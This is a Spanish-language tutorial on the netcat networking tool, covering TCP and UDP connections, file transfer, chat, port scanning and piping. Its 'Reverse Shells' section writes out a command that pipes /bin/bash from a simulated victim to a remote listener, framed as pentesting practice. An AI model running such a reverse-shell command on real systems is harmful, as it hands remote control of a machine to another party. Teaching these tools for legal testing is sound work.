Netcat
Netcat en Linux
Section titled “Netcat en Linux”¿Qué es Netcat?
Section titled “¿Qué es Netcat?”Netcat (abreviado nc) es una herramienta de línea de comandos usada para:
- Leer y escribir datos en conexiones TCP o UDP.
- Crear clientes y servidores.
- Transferir archivos, hacer escucha de puertos, chats, o incluso backdoors (de forma ética y controlada).
Es conocida como el “cuchillo suizo de las redes”.
Instalación
Section titled “Instalación”En la mayoría de sistemas viene preinstalado:
nc -hSí no lo tienes:
Linux (Debian/Ubuntu):
sudo apt install netcatWindows: Puedes usar Ncat (parte de Nmap): https://nmap.org/ncat/
Sintaxis general
Section titled “Sintaxis general”nc [opciones] [host] [puerto]Modos principales de uso
Section titled “Modos principales de uso”Cliente TCP
Section titled “Cliente TCP”Conectarse a un servidor:
nc 127.0.0.1 8080Esto abre una conexión al puerto 8080 del localhost.
Servidor TCP
Section titled “Servidor TCP”Escuchar conexiones:
nc -l -p 8080-l → modo escucha
-p → especifica el puerto
Luego, desde otro terminal:
nc 127.0.0.1 8080Ahora puedes enviar mensajes entre ambos terminales (chat simple).
UDP en lugar de TCP
Section titled “UDP en lugar de TCP”Para usar UDP en vez de TCP:
# Servidornc -u -l -p 6000
# Clientenc -u 127.0.0.1 6000-u → activa modo UDP.
Transferencia de archivos
Section titled “Transferencia de archivos”Enviar un archivo
Section titled “Enviar un archivo”Servidor que recibirá:
nc -l -p 5000 > archivo_recibido.txtCliente que envía:
nc 127.0.0.1 5000 < archivo.txtEl archivo archivo.txt se envía al servidor.
Chat simple entre dos PCs (TCP)
Section titled “Chat simple entre dos PCs (TCP)”En una máquina:
nc -l -p 4000En otra:
nc IP_DEL_SERVIDOR 4000Ahora ambos pueden escribir y leer mensajes.
Escaneo de puertos
Section titled “Escaneo de puertos”Netcat puede escanear qué puertos están abiertos en una máquina:
nc -zv 192.168.1.10 20-80-z → modo “scan” sin enviar datos.
-v → modo verbose (muestra resultado).
20-80 → rango de puertos.
Redirección de entrada/salida
Section titled “Redirección de entrada/salida”Puedes usar pipes para automatizar tareas:
echo "Hola servidor" | nc 127.0.0.1 8080O guardar la respuesta:
nc 127.0.0.1 80 respuesta.txtReverse Shells (usos éticos y educativos)
Section titled “Reverse Shells (usos éticos y educativos)”Netcat puede crear conexiones remotas tipo shell inversa, usadas en pentesting (no ilegalmente).
En el servidor (escuchando)
Section titled “En el servidor (escuchando)”nc -l -p 4444 -vEn la víctima (simulada)
Section titled “En la víctima (simulada)”nc 192.168.1.100 4444 -e /bin/bashEsto le da al servidor una consola remota de la otra máquina. (Solo en entornos controlados o de práctica legal.)
Otras opciones útiles
Section titled “Otras opciones útiles”Ejemplo práctico completo
Section titled “Ejemplo práctico completo”Crear servidor de eco
Section titled “Crear servidor de eco”# Servidornc -l -p 1234 -vCliente
Section titled “Cliente”nc 127.0.0.1 1234Ahora cualquier texto que envíes se reflejará entre ambos.
Resumen rápido
Section titled “Resumen rápido”Alternativas modernas
Section titled “Alternativas modernas”- Ncat (de Nmap): versión más segura y moderna.
- Socat: similar pero con más opciones.
- PowerCat (en Windows PowerShell): equivalente en sistemas modernos.